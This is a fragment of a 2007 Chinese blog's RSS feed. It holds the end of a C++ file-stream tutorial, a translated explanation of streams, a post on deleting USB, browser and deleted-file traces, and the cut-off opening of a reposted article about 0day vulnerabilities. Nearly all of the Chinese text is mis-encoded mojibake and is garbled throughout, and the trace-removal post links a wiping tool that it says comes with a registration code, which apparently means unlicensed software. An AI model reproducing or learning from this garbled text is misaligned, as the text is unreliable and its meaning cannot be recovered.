#a0ffff">璇誨彇</strong>灝辮澶嶆潅浜涳紝涓嬭灝辮緇嗙殑浠嬬粛榪欎袱縐嶆柟寮?/p> <p>銆銆1銆佹枃鏈枃浠剁殑璇誨啓<br>銆銆鏂囨湰鏂囦歡鐨勮鍐欏緢綆鍗曪細鐢ㄦ彃鍏ュ櫒(<<)鍚戞枃浠惰緭鍑猴紱鐢ㄦ瀽鍙栧櫒(>>)浠庢枃浠惰緭鍏ャ傚亣璁緁ile1鏄互杈撳叆鏂瑰紡鎵撳紑錛宖ile2浠ヨ緭鍑烘墦寮銆傜ず渚嬪涓嬶細</p> <p>銆銆file2<<"I Love You";//鍚戞枃浠跺啓鍏ュ瓧絎︿覆"I Love You"<br>銆銆int i;<br>銆銆file1>>i;//浠庢枃浠惰緭鍏ヤ竴涓暣鏁板箋?</p> <p>銆銆榪欑鏂瑰紡榪樻湁涓縐嶇畝鍗曠殑鏍煎紡鍖栬兘鍔涳紝姣斿鍙互鎸囧畾杈撳嚭涓?6榪涘埗絳夌瓑錛屽叿浣撶殑鏍煎紡鏈変互涓嬩竴浜?/p> <p>鎿嶇旱絎?鍔熻兘 杈撳叆/杈撳嚭 <br>dec 鏍煎紡鍖栦負鍗佽繘鍒舵暟鍊兼暟鎹?杈撳叆鍜岃緭鍑?<br>endl 杈撳嚭涓涓崲琛岀騫跺埛鏂版嫻?杈撳嚭 <br>ends 杈撳嚭涓涓┖瀛楃 杈撳嚭 <br>hex 鏍煎紡鍖栦負鍗佸叚榪涘埗鏁板兼暟鎹?杈撳叆鍜岃緭鍑?<br>oct 鏍煎紡鍖栦負鍏繘鍒舵暟鍊兼暟鎹?杈撳叆鍜岃緭鍑?<br>setpxecision(int p) 璁劇疆嫻偣鏁扮殑綺懼害浣嶆暟 杈撳嚭 </p> <p>銆銆姣斿瑕佹妸123褰撲綔鍗佸叚榪涘埗杈撳嚭錛歠ile1< </p> <p>銆銆2銆?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>鏂囦歡鐨勮鍐?br>鈶爌ut()<br>銆銆put()鍑芥暟鍚戞祦鍐欏叆涓涓瓧絎︼紝鍏跺師鍨嬫槸ofstream &put(char ch)錛屼嬌鐢ㄤ篃姣旇緝綆鍗曪紝濡俧ile1.put('c');灝辨槸鍚戞祦鍐欎竴涓瓧絎?c'銆?</p> <p>鈶et()<br>銆銆get()鍑芥暟姣旇緝鐏墊椿錛屾湁3縐嶅父鐢ㄧ殑閲嶈澆褰㈠紡錛?/p> <p>銆銆涓縐嶅氨鏄拰put()瀵瑰簲鐨勫艦寮忥細ifstream &get(char &ch);鍔熻兘鏄粠嫻佷腑<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>涓涓瓧絎︼紝緇撴灉淇濆瓨鍦ㄥ紩鐢╟h涓紝濡傛灉鍒版枃浠跺熬錛岃繑鍥炵┖瀛楃銆傚file2.get(x);琛ㄧず浠庢枃浠朵腑<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>涓涓瓧絎︼紝騫舵妸<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>鐨勫瓧絎︿繚瀛樺湪x涓?/p> <p>銆銆鍙︿竴縐嶉噸杞藉艦寮忕殑鍘熷瀷鏄細 int get();榪欑褰㈠紡鏄粠嫻佷腑榪斿洖涓涓瓧絎︼紝濡傛灉鍒拌揪鏂囦歡灝撅紝榪斿洖EOF錛屽x=file2.get();鍜屼笂渚嬪姛鑳芥槸涓鏍風殑銆?/p> <p>銆銆榪樻湁涓縐嶅艦寮忕殑鍘熷瀷鏄細ifstream &get(char *buf,int num,char delim=' ')錛涜繖縐嶅艦寮忔妸瀛楃璇誨叆鐢?buf 鎸囧悜鐨勬暟緇勶紝鐩村埌璇誨叆浜?num 涓瓧絎︽垨閬囧埌浜嗙敱 delim 鎸囧畾鐨勫瓧絎︼紝濡傛灉娌′嬌鐢?delim 榪欎釜鍙傛暟錛屽皢浣跨敤緙虹渷鍊兼崲琛岀' '銆備緥濡傦細</p> <p>銆銆file2.get(str1,127,'A');//浠庢枃浠朵腑<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>瀛楃鍒板瓧絎︿覆str1錛屽綋閬囧埌瀛楃'A'鎴?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>浜?27涓瓧絎︽椂緇堟銆?/p> <p>鈶㈣鍐欐暟鎹潡<br>銆銆瑕佽鍐?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>鏁版嵁鍧楋紝浣跨敤鎴愬憳鍑芥暟read()鍜寃rite()鎴愬憳鍑芥暟錛屽畠浠師鍨嬪涓嬶細</p> <p>銆銆銆銆read(unsigned char *buf,int num);<br>銆銆銆銆write(const unsigned char *buf,int num);</p> <p>銆銆read()浠庢枃浠朵腑<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong> num 涓瓧絎﹀埌 buf 鎸囧悜鐨勭紦瀛樹腑錛屽鏋滃湪榪樻湭璇誨叆 num 涓瓧絎︽椂灝卞埌浜嗘枃浠跺熬錛屽彲浠ョ敤鎴愬憳鍑芥暟 int gcount();鏉ュ彇寰楀疄闄?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>鐨勫瓧絎︽暟錛涜?write() 浠巄uf 鎸囧悜鐨勭紦瀛樺啓 num 涓瓧絎﹀埌鏂囦歡涓紝鍊煎緱娉ㄦ剰鐨勬槸緙撳瓨鐨勭被鍨嬫槸 unsigned char *錛屾湁鏃跺彲鑳介渶瑕佺被鍨嬭漿鎹€?/p> <p>渚嬶細</p> <p>銆銆銆銆unsigned char str1[]="I Love You";<br>銆銆銆銆int n[5];<br>銆銆銆銆ifstream in("xxx.xxx");<br>銆銆銆銆ofstream out("yyy.yyy");<br>銆銆銆銆out.write(str1,strlen(str1));//鎶婂瓧絎︿覆str1鍏ㄩ儴鍐欏埌yyy.yyy涓?br>銆銆銆銆in.read((unsigned char*)n,sizeof(n));//浠巟xx.xxx涓?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">璇誨彇</strong>鎸囧畾涓暣鏁幫紝娉ㄦ剰綾誨瀷杞崲<br>銆銆銆銆in.close();out.close(); </p> <p>鍥涖佹嫻婨OF<br>銆銆鎴愬憳鍑芥暟eof()鐢ㄦ潵媯嫻嬫槸鍚﹀埌杈炬枃浠跺熬錛屽鏋滃埌杈炬枃浠跺熬榪斿洖闈?鍊鹼紝鍚﹀垯榪斿洖0銆傚師鍨嬫槸int eof();</p> <p>渚嬶細銆銆if(in.eof())ShowMessage("宸茬粡鍒拌揪鏂囦歡灝撅紒");</p> <p>浜斻佹枃浠跺畾浣?br>銆銆鍜孋鐨勬枃浠舵搷浣滄柟寮忎笉鍚岀殑鏄紝C++ I/O緋葷粺綆$悊涓や釜涓庝竴涓枃浠剁浉鑱旂郴鐨勬寚閽堛備竴涓槸璇繪寚閽堬紝瀹冭鏄庤緭鍏ユ搷浣滃湪鏂囦歡涓殑浣嶇疆錛涘彟涓涓槸鍐欐寚閽堬紝瀹冧笅嬈″啓鎿嶄綔鐨勪綅緗傛瘡嬈℃墽琛岃緭鍏ユ垨杈撳嚭鏃訛紝鐩稿簲鐨勬寚閽堣嚜鍔ㄥ彉鍖栥傛墍浠ワ紝C++鐨勬枃浠跺畾浣嶅垎涓鴻浣嶇疆鍜屽啓浣嶇疆鐨勫畾浣嶏紝瀵瑰簲鐨勬垚鍛樺嚱鏁版槸 seekg()鍜?seekp()錛宻eekg()鏄緗浣嶇疆錛宻eekp鏄緗啓浣嶇疆銆傚畠浠渶閫氱敤鐨勫艦寮忓涓嬶細</p> <p>銆銆銆銆istream &seekg(streamoff offset,seek_dir origin);<br>銆銆銆銆ostream &seekp(streamoff offset,seek_dir origin); </p> <p>銆銆streamoff瀹氫箟浜?iostream.h 涓紝瀹氫箟鏈夊亸縐婚噺 offset 鎵鑳藉彇寰楃殑鏈澶у鹼紝seek_dir 琛ㄧず縐誨姩鐨勫熀鍑嗕綅緗紝鏄竴涓湁浠ヤ笅鍊肩殑鏋氫婦錛?</p> <p>ios::beg錛氥銆鏂囦歡寮澶?<br>ios::cur錛氥銆鏂囦歡褰撳墠浣嶇疆 <br>ios::end錛氥銆鏂囦歡緇撳熬 <br>銆銆榪欎袱涓嚱鏁頒竴鑸敤浜?strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">浜岃繘鍒?/strong>鏂囦歡錛屽洜涓烘枃鏈枃浠朵細鍥犱負緋葷粺瀵瑰瓧絎︾殑瑙i噴鑰屽彲鑳戒笌棰勬兂鐨勫間笉鍚屻?/p> <p>渚嬶細</p> <p>銆銆銆銆 file1.seekg(1234,ios::cur);//鎶婃枃浠剁殑璇繪寚閽堜粠褰撳墠浣嶇疆鍚戝悗縐?234涓瓧鑺?br>銆銆銆銆 file2.seekp(1234,ios::beg);//鎶婃枃浠剁殑鍐欐寚閽堜粠鏂囦歡寮澶村悜鍚庣Щ1234涓瓧鑺?</p> <img src ="http://www.shnenglu.com/saga/aggbug/26652.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-06-19 23:46 <a href="http://www.shnenglu.com/saga/archive/2007/06/19/26652.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[緲昏瘧]浠涔堟槸鈥滄祦鈥濓紙What a Stream Is錛夛紵http://www.shnenglu.com/saga/archive/2007/06/19/26650.htmlsaga.constantinesaga.constantineTue, 19 Jun 2007 13:26:00 GMThttp://www.shnenglu.com/saga/archive/2007/06/19/26650.htmlhttp://www.shnenglu.com/saga/comments/26650.htmlhttp://www.shnenglu.com/saga/archive/2007/06/19/26650.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/26650.htmlhttp://www.shnenglu.com/saga/services/trackbacks/26650.html
         鍍廋錛孋++璇█閮芥病鏈夊唴緗緭鍏ヨ緭鍑虹殑鍔熻兘銆傛墍鏈夌殑C++緙栬瘧鍣紝閮芥崋緇戠潃涓涓儚iostream鐨勭被榪欐牱鐨勯潰鍚戝璞$殑緋葷粺鐨勫寘(package)銆?#8220;嫻?#8221;鏄痠ostream鐨勬牳蹇冩蹇點備綘鍙互鎶?#8220;嫻?#8221;鐞嗚В鎴愪負涓嶅仠鐨勪粠婧愬ご鍚戠洰鏍囨惉榪愮潃瀛楄妭鐨勪竴縐嶇壒孌婄殑鏂囦歡瀵硅薄銆備竴縐?#8220;嫻?#8221;鐨勭壒鎬х敱浠栫殑綾誨拰浠栬嚜瀹氫箟鐨勮緭鍏ヨ緭鍑虹鍙峰喅瀹氥?br>         緇忕敱璁懼椹卞姩錛岀鐩樻搷浣滅郴緇熸帶鍒剁潃閿洏錛屽睆騫曪紝鎵撳嵃鏈哄拰浠ラ氫俊绔彛褰㈠紡瀛樺湪鐨勬墿灞曟枃浠躲侷/O嫻佷綔鐢ㄤ簬榪欎簺鎵╁睍鏂囦歡銆傚唴緗殑綾?classes)鎻愪緵浜庣鐩業/O鐩稿悓璇硶鐨勮鍙栦笌鍐欏叆鍔熻兘錛屼嬌鐢?#8220;嫻?#8221;榪樹細浣垮緱榪欎簺鍙樺緱鏇寸畝鍗曞疁琛屻?br>         C++搴撻噷闈㈡渶閲嶈鐨勮緭鍑烘祦(output stream)綾繪槸ostream錛宱fstream錛宱strstream銆備粬浠戶鎵夸簬basic_ostream銆?br>鍚屾牱鏈閲嶈鐨勮緭鍏ユ祦(input stream)綾繪槸istream錛宨fstream錛宨strstream銆?

]]>
[鏀墮泦]璁$畻鏈虹棔榪圭殑綆鍗曟秷闄?/title><link>http://www.shnenglu.com/saga/archive/2007/05/21/24566.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 21 May 2007 15:12:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/05/21/24566.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/24566.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/05/21/24566.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/24566.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/24566.html</trackback:ping><description><![CDATA[<p><span style="FONT-SIZE: 12pt">         鏈夋椂鍊欒綆楁満涓婄殑涓浜涚棔榪瑰緢楹葷儲錛屾繪槸鎯沖幓鎺夈傛瘮濡傦細USB闂瓨錛岀Щ鍔ㄧ‖鐩橈紝涓婄綉錛岃繕鏈夎綆楁満涓婂凡緇忓垹闄ょ殑鏂囦歡銆?br>         鎴戞潵涓涓竴涓璇寸畝鍗曠殑澶勭悊鏂規硶銆備笉鏁繚璇?00%錛屼絾鏄簲璇ュ樊涓嶅銆?br>         涓.USB縐誨姩瀛樺偍浠嬭川鐥曡抗鐨勬竻闄ゃ?br>         鍙浣犵殑鏈哄櫒涓婃彃涓婅繃USB縐誨姩瀛樺偍璁懼錛屽氨浼氱暀涓嬬棔榪廣傚寘鎷澶囩殑鍨嬪彿錛岄嬈′嬌鐢ㄦ椂闂達紝鏈榪戜嬌鐢ㄦ椂闂寸殑璁板綍銆備笅杞藉伐鍏?/span><a href="http://www.shnenglu.com/Files/saga/USBlog.rar"><span style="FONT-SIZE: 12pt; COLOR: red">www.shnenglu.com/Files/saga/USBlog.rar</span></a><span style="FONT-SIZE: 12pt">銆傝В鍘嬪悗榪愯USBlog.exe灝變細鍦ㄦ闈笂鐢熸垚鏈哄櫒浣跨敤USB縐誨姩瀛樺偍璁懼鐨勪嬌鐢ㄨ褰曘傛槸txt鏍煎紡鐨勬枃鏈?br>         榪欎釜鐨勫師鐞嗘槸鍥犱負姣忔鎻掍笂鏂扮殑USB紜歡璁懼鐨勬椂鍊欏氨浼氬湪娉ㄥ唽琛ㄩ噷闈㈣嚜鍔ㄧ殑璁板綍涓嬫潵銆?br>         鍒犻櫎鐨勬柟娉曞涓嬶細<br>         1.鎸夊紑濮?-銆夎繍琛岋紝鍦ㄨ緭鍏ユ閲岃緭鍏ュ懡浠わ細regedit<br>         2.鍒犻櫎娉ㄥ唽琛ㄤ腑<br>                 錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR<br>銆銆         錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\USBSTOR <br>銆銆         錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Enum\USBSTOR<br>銆銆         錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR<br>            榪欎簺璺緞涓婾SBSTOR瀛愰」鐨勫叏閮ㄤ笅綰у瓙欏廣傚垹闄ゆ椂瑕佹敞鎰忓厛瑕佺粰鍏舵坊鍔犳潈闄愶紝鏂規硶鏄細鍦ㄦ壘鍒板涓?br>            USBSTOR瀛愰」涓婃寜榧犳爣鍙抽敭錛屾帴鐫鍦ㄥ脊鍑鴻彍鍗曚笂閫夋潈闄愶紝緇檈veryone鐢ㄦ埛鎺堜笌瀹屽叏鎺у埗鐨勬潈闄愩傜劧鍚?br>            灝卞簲璇ュ彲浠ュ垹闄や簡銆?br>         3.瑕佸交搴曟竻闄SB浣跨敤璁板綍錛屽畬鎴愪笂榪版搷浣滃悗錛岃鎺ョ潃鍒犻櫎<br>                 錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USB <br>銆       銆 錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\USB<br>銆銆         錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Enum\USB<br>銆銆         錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB<br>            榪欎簺璺緞涓嬮櫎ROOT_HUB銆丷OOT_HUB20澶栫殑鎵鏈夊瓙欏廣?br>         4.鐒跺悗鍒犻櫎DeviceClasses涓嬬殑a5d...銆?3f...絳夊惈usb瀛楃溂鐨勯儴鍒嗗瓙欏廣傚<br>                 錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{a5dcbf10-6530-11d2-                                901f-00c04fb951ed}<br>銆             錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{a5dcbf10-6530-11d2-                                901f-00c04fb951ed}<br>銆銆         錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Control\DeviceClasses\{a5dcbf10-6530-11d2-                                901f-00c04fb951ed}<br>                        ………………<br>銆銆  銆 錛?錛塇KEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-                                94f2-00a0c91efb8b}<br>                        ………………絳夈?br>鏈鍚庡湪鐢║SBlog媯鏌ヤ竴涓嬶紝娌℃湁璁板綍灝監K<img height=21 src="http://www.shnenglu.com/Emoticons/QQ/icon14.gif" width=20 border=0>銆備絾鏄己鐑堝緩璁湪淇敼娉ㄥ唽琛ㄤ箣鍓嶈繘琛屽浠姐?br><br>          浜?涓婄綉鐥曡抗鐨勬竻闄ゃ?br>          鈶犳竻絀篒nternet涓存椂鏂囦歡澶?<br>銆銆      渚濇鍗曞嚮IE鑿滃崟鏍忎腑鐨?#8220;宸ュ叿”→“Internet閫夐」”錛屾墦寮“Internet閫夐」”瀵硅瘽妗嗭紝鍦?#8220;甯歌”鏍囩涓偣鍑?#8220;鍒犻櫎鏂囦歡”鎸夐挳錛屽湪寮瑰嚭鐨?#8220;鍒犻櫎鏂囦歡”紿楀彛涓嬀閫?#8220;鍒犻櫎鎵鏈夎劚鏈哄唴瀹?#8221;錛屾渶鍚庣偣鍑?#8220;紜畾”銆傚綋鐒朵篃鍙互鍒犻櫎"C:\Documents and Settings\<鐢ㄦ埛鍚?gt;\Local Settings\Temporary Internet Files"鐩綍涓嬬殑鍏ㄩ儴鍐呭銆?br><br>         鈶℃竻闄ookie <br>銆銆      鍦?#8220;Internet閫夐」”瀵硅瘽妗嗙殑“甯歌”鏍囩涓崟鍑?#8220;鍒犻櫎Cookies”鎸夐挳錛屽緟寮瑰嚭紿楀彛鍚庡崟鍑?#8220;紜畾”鎸夐挳錛屽彲鍒犻櫎Cookie銆?nbsp;<br><br>         鈶㈡秷闄よ闂綉欏電殑鍘嗗彶璁板綍 <br>銆銆      鍒犻櫎“C:\Documents and Settings\鐢ㄦ埛鍚峔Local Settings\History”鏂囦歡澶逛腑鐨勬墍鏈夊唴瀹瑰嵆鍙備篃鍙互鍦↖nternet閫夐」瀵硅瘽妗嗙殑“甯歌”鏍囩涓嬬偣“娓呴櫎鍘嗗彶綰綍”鎸夐挳銆?<br>瑕佽IE涓嶈褰曡闂巻鍙詫紝璇峰湪Internet閫夐」瀵硅瘽妗嗙殑“甯歌”閫夐」涓嬶紝灝嗙綉欏典繚瀛樺湪鍘嗗彶綰綍涓殑澶╂暟浠庨粯璁ょ殑20鏀規垚0鍗沖彲銆?br><br>         鈶f竻闄E璁頒綇鐨勮〃鍗曞唴瀹?<br>銆銆      瑕佸垹闄ゅ畠浠紝鍙湪“Internet閫夐」”瀵硅瘽妗嗙殑“鍐呭”鏍囩涓嬬偣“鑷姩瀹屾垚”鎸夐挳錛屽湪寮瑰嚭鐨?#8220;鑷姩瀹屾垚璁劇疆”瀵硅瘽妗嗕腑灝?#8220;琛ㄥ崟”銆?#8220;琛ㄥ崟涓婄殑鐢ㄦ埛鍚嶅拰瀵嗙爜”鍜?#8220;鎻愮ず鎴戜繚瀛樺瘑鐮?#8221;鍓嶇殑閽╁幓鎺夛紝鍐嶅崟鍑?#8220;娓呴櫎琛ㄥ崟”銆?#8220;娓呴櫎瀵嗙爜”鎸夐挳錛屽綋璇㈤棶鏃剁偣“紜畾”銆?nbsp;<br><br>         鈶ゅ垹闄ゅ湴鍧鏍忓垪琛ㄤ腑鐨勭綉鍧 <br>銆銆      鍦?#8220;Internet閫夐」”瀵硅瘽妗嗙殑“鍐呭”鏍囩涓嬪崟鍑?#8220;鑷姩瀹屾垚”鎸夐挳錛屾墦寮“鑷姩瀹屾垚”瀵硅瘽妗嗭紝鍘繪帀“Web鍦板潃”鍓嶇殑閽╋紝鐒跺悗鎸夌‘瀹氥?<br>銆銆鑻ュ畨瑁呬簡“涓枃緗戝潃”杞歡錛岄噰鐢ㄤ笂娉曚笉鑳藉皢鍦板潃鏍忓垪琛ㄤ腑鐨?#8220;緗戠粶瀹炲悕”娓呴櫎錛屾鏃惰鍦?#8220;Internet閫夐」”瀵硅瘽妗嗙殑“楂樼駭”閫夐」鍗′笅錛岄変腑“緗戠粶瀹炲悕”涓殑“娓呴櫎鍦板潃鏍忎笅鎷夊垪琛ㄤ腑鏄劇ず鐨勭綉緇滃疄鍚?#8221;欏癸紝鍗曞嚮“紜畾”銆?br><br>         濂戒簡錛屼負浜嗗共鍑褰誨簳鍐嶆竻絀哄洖鏀剁珯銆?br><br>         涓?鍏充簬涓浜涘簲鐢ㄧ▼搴忕殑鐥曡抗鍒犻櫎鍙互鏌ユ壘鐩稿叧鐨勮祫鏂欙紝鎴戝氨涓嶅璇翠簡銆備笅闈㈣璇村ぇ瀹舵渶瀹蟲曠殑灝辨槸鑷繁鍒犻櫎浜嗙殑鏂囦歡榪樹細琚埆浜虹敤EasyRecovery絳夌被鐨勬仮澶嶅伐鍏鋒仮澶嶅嚭铔涗笣椹抗鏉ャ傚洜涓烘櫘閫氱殑鏂囦歡鍒犻櫎鍙槸鍒犻櫎浜嗘枃浠剁殑鍦ㄧ郴緇熶腑鐨勮礬寰勪俊鎭傜湡姝g殑鏂囦歡榪樿漢鍦ㄧ‖鐩樹笂闈€傞櫎闈炶鏂扮殑鏂囦歡瑕嗙洊銆備笉鐒跺氨鍙互琚仮澶嶃傛湁浜洪毦鍏嶈闂細闅鵑亾鏈変綆鏍肩‖鐩樻墠琛屽悧錛熷叾瀹炰笉鐢紝鏈変笓闂ㄧ殑宸ュ叿鏉ラ櫎鎺夎繖浜涚棔榪廣傛垜鎺ㄨ崘鐢–leanDiskSecurity銆傝繖涓伐鍏鋒瘮杈冪畝鍗曞皬宸у疄鐢ㄣ傛垜浼犱笂鏉ヤ竴涓甫娉ㄥ唽鐮佺殑銆傝嫳鏂囩増鐨勶紝涓嶆噦灝卞鏌ユ煡瀛楀吀銆傛湁甯姪鏂囨。銆?br>         鐢ㄨ繖縐嶅伐鍏烽櫎鐥曚箣鍚庯紝鎭㈠杞歡灝辨牴鏈病鏈夊笇鏈涙仮澶嶅嚭浣犳兂瑕佹案榪滃垹闄ょ殑鏁版嵁浜嗐?br>         涓嬭澆鍦板潃</span><a href="http://www.shnenglu.com/Files/saga/CleanDiskSecurity-v7.65.rar"><span style="FONT-SIZE: 12pt; COLOR: red">www.shnenglu.com/Files/saga/CleanDiskSecurity-v7.65.rar</span></a><span style="FONT-SIZE: 12pt">銆?br>         鎻愮ず涓涓嬶紝瀵圭‖鐩樹笂絀虹櫧鍖哄煙鐨勬摝媧楀鐞嗘瘮杈冭楁椂銆傞渶瑕佹湁鐐硅愬績銆?br>         <br>         濂戒簡錛屼互涓婃槸鑷繁鐨勪竴鐐圭粡楠岋紝鏈変粈涔堥敊璇殑鍦版柟璇鋒寚鍑恒傛湁鏇村ソ鐨勬柟娉曟垨鏄伐鍏瘋鍥炲笘璇存槑錛岃澶у鍙互鏇村ソ鐨勪氦嫻侀櫎鐥曠殑鏂規硶<img height=20 src="http://www.shnenglu.com/Emoticons/QQ/smile.gif" width=20 border=0>銆?br><br>                                                                                   -------saga.constantine<br></span><br></p> <img src ="http://www.shnenglu.com/saga/aggbug/24566.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2007-05-21 23:12 <a href="http://www.shnenglu.com/saga/archive/2007/05/21/24566.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[杞創]浠涔堝彨0day婕忔礊錛?/title><link>http://www.shnenglu.com/saga/archive/2007/05/20/24438.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Sun, 20 May 2007 07:20:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2007/05/20/24438.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/24438.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2007/05/20/24438.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/24438.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/24438.html</trackback:ping><description><![CDATA[鐪間笅鐨?Day姝e紩鍙戜俊鎭畨鍏ㄦ柊“鍦伴渿”鐪嬩笉瑙佺殑鎵嶆槸鏈鍙曠殑<br>銆銆榪欏氨鏄?Day鐨勭湡姝e▉鑳?br>銆銆濡傛灉浣犳槸涓瀹朵紒涓氱殑緗戠粶瀹夊叏涓葷錛屼紒涓氬緗戠殑瀹夊叏浠g爜銆佽剼鏈垎鏋愩佺幆澧冮厤緗佺淮鎶よˉ涓佸凡鍋氬埌鏃犳噲鍙嚮錛屽唴緗戦槻鐏銆侀槻鐥呮瘨銆佸叆渚墊嫻嬨佽韓浠借璇佺瓑紜歡璁炬柦涔熼綈鍏ㄥ畬澶囷紝浠庢妧鏈墜孌墊潵璁詫紝浼間箮娌℃湁浠涔堝彲鎷呭績鐨勶紱浣嗕綘鑰冭檻榪囦綘鎵浣跨敤鐨勬搷浣滅郴緇熴佺綉绔欏鉤鍙版垨鍏朵粬絎笁鏂瑰簲鐢ㄧ▼搴忥紝鏄惁瀛樺湪鐫鏌愪釜涓嶄負浜虹煡鐨勯噸澶ф紡媧炲憿錛熷綋浣犲彂鐜頒綘鐨勭綉緇滃凡閬叆渚碉紝淇℃伅宸茶紿冨彇錛屾煡閬嶆墍鏈夋紡媧炴暟鎹簱鍜屽畨鍏ㄨˉ涓佽祫鏂欏嵈涓嶅緱鍏惰В銆傝繖鏃訛紝浣犺冭檻榪?Day涔堬紵<br>銆銆浠涔堟槸0Day<br>銆銆0Day鐨勬蹇墊渶鏃╃敤浜庤蔣浠跺拰娓告垙鐮磋В錛屽睘浜庨潪鐩堝埄鎬у拰闈炲晢涓氬寲鐨勭粍緇囪涓猴紝鍏跺熀鏈唴娑墊槸“鍗蟲椂鎬?#8221;銆俉arez琚澶氫漢璇涓烘槸涓涓渶澶х殑杞歡鐮磋В緇勭粐錛岃屽疄闄呬笂錛學arez濡傞粦瀹竴鏍鳳紝鍙槸涓縐嶈涓恒?Day涔熸槸銆傚綋鏃剁殑0Day鏄寚鍦ㄦ鐗堣蔣浠舵垨娓告垙鍙戝竷鐨勫綋澶╃敋鑷充箣鍓嶏紝鍙戝竷闄勫甫鐫搴忓垪鍙鋒垨鑰呰В瀵嗗櫒鐨勭牬瑙g増錛岃浣跨敤鑰呭彲浠ヤ笉鐢ㄤ粯璐瑰氨鑳介暱鏈熶嬌鐢ㄣ傚洜姝わ紝铏界劧Warez鍜?Dday閮芥槸鍙嶇洍鐗堢殑閲嶈鎵撳嚮瀵硅薄錛屽嵈鍚屾椂鍙楀埌鍏嶈垂浣跨敤鑰呭拰涓氬唴鍚岃鐨勬帹宕囥傚敖綆arez鍜?Day鐨勬嫢鎶よ呭浠ユ鑰岃皨鍒╃殑鐩楃増鍟嗕笉榻匡紝浣嗗晢涓氬埄鐩婄殑椹卞姩榪樻槸灝嗙牬瑙h涓虹殑鍟嗕笟鍖栨帹鍒頒簡楂樺嘲銆傝岀溂涓嬬殑0Day錛屾鍦ㄥ淇℃伅瀹夊叏浜х敓瓚婃潵瓚婁弗閲嶇殑濞佽儊銆?br>銆銆淇℃伅瀹夊叏鎰忎箟涓婄殑0Day鏄寚鍦ㄥ畨鍏ㄨˉ涓佸彂甯冨墠鑰岃浜嗚В鍜屾帉鎻$殑婕忔礊淇℃伅銆?br>銆銆2005騫?2鏈?鏃ワ紝鍑犱箮褰卞搷Windows鎵鏈夋搷浣滅郴緇熺殑WMF婕忔礊鍦ㄧ綉涓婂叕寮錛岃櫧鐒跺井杞湪8澶╁悗鎻愬墠鍙戝竷浜嗗畨鍏ㄨˉ涓侊紙寰蔣鐨勬儻渚嬫槸鍦ㄦ瘡鏈堢殑絎竴涓懆浜岋級錛屼絾灝卞湪榪?澶╁唴鍑虹幇浜嗕簩鐧懼涓埄鐢ㄦ婕忔礊鐨勬敾鍑昏剼鏈傛紡媧炰俊鎭殑鍏紑鍔犻熶簡杞歡鐢熶駭浼佷笟鐨勫畨鍏ㄨˉ涓佹洿鏂拌繘紼嬶紝鍑忓皯浜嗘伓鎰忕▼搴忕殑鍗卞紼嬪害銆備絾濡傛灉鏄笉鍏紑鐨?Day鍛紵WMF婕忔礊鍏紑涔嬪墠錛屽張鏈夊灝戜漢宸茬粡鍒╃敤浜嗗畠錛熸槸鍚︽湁寰堝0Day涓鐩村湪縐樺瘑嫻佷紶錛熶緥濡傦紝緇欏叏鐞冪綉緇滃甫鏉ュ法澶у嵄瀹崇殑“鍐插嚮娉?#8221;鍜?#8220;闇囪崱娉?#8221;榪欎袱縐嶇梾姣掞紝濡傛灉瀹冧滑鐨勬紡媧炰俊鎭病鏈夊叕寮錛岃嚜鐒朵篃灝辨病鏈夎繖涓ょ瓚呯駭鐥呮瘨鐨勪駭鐢熴傚弽榪囨潵鎯籌紝鏈変粈涔堢悊鐢辮涓虹溂涓嬩笉瀛樺湪綾諱技鐨勬湁